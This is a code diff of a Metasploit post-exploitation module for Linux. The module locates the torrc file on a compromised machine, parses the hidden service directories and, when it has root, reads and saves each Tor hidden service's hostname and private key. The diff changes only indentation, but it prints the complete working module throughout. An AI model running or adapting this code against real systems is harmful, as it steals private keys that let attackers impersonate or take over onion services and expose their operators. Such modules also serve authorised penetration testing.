Linux post module to grab TOR hidden service hostnames and private keys

Author: xcellerator

modules/post/linux/gather/tor_hiddenservices.rb

@@ -15,11 +15,11 @@ def initialize(info={})
       'Name'          => 'Linux Gather TOR Hidden Services',
       'Description'   => %q{
         This module collects the hostnames name and private keys of
-	any TOR Hidden Services running on the target machine. It
-	will search for torrc and if found, will parse it for the
-	directories of Hidden Services. However, root permissions
-	are required to read them as they are owned by the user that
-	TOR runs as, usually a separate account.
+        any TOR Hidden Services running on the target machine. It
+        will search for torrc and if found, will parse it for the
+        directories of Hidden Services. However, root permissions
+        are required to read them as they are owned by the user that
+        TOR runs as, usually a separate account.
       },
       'License'       => MSF_LICENSE,
       'Author'        =>
@@ -62,25 +62,25 @@ def get_host
   def find_torrc
     config = cmd_exec("find / -name 'torrc' 2>/dev/null | head -n 1").chomp
     if config != ""
-    	print_good("Torrc file found at #{config}")
-	hiddenservices = cmd_exec("cat #{config} | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2").split("\n")
-	print_good("Hidden Services found!")
+        print_good("Torrc file found at #{config}")
+        hiddenservices = cmd_exec("cat #{config} | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2").split("\n")
+        print_good("Hidden Services found!")
 
-	if is_root?
-		hiddenservices.each do |f|
-			output = read_file("#{f}hostname")
-			save(f, output, "tor.#{f.split("/")[-1]}.hostname") if output && output !~ /No such file or directory/
-		end
+        if is_root?
+            hiddenservices.each do |f|
+                output = read_file("#{f}hostname")
+                save(f, output, "tor.#{f.split("/")[-1]}.hostname") if output && output !~ /No such file or directory/
+        end
 
-		hiddenservices.each do |f|
-			output = read_file("#{f}private_key")
-			save(f, output, "tor.#{f.split("/")[-1]}.privatekey") if output && output !~ /No such file or directory/
-		end
-	else
-		print_error("Hidden Services were found, but we need root to access the directories")
-	end
+            hiddenservices.each do |f|
+                output = read_file("#{f}private_key")
+                save(f, output, "tor.#{f.split("/")[-1]}.privatekey") if output && output !~ /No such file or directory/
+        end
+        else
+            print_error("Hidden Services were found, but we need root to access the directories")
+        end
     else
-	print_error("No Torrc file found. Perhaps it goes by another name?")
+        print_error("No Torrc file found. Perhaps it goes by another name?")
     end
   end
 end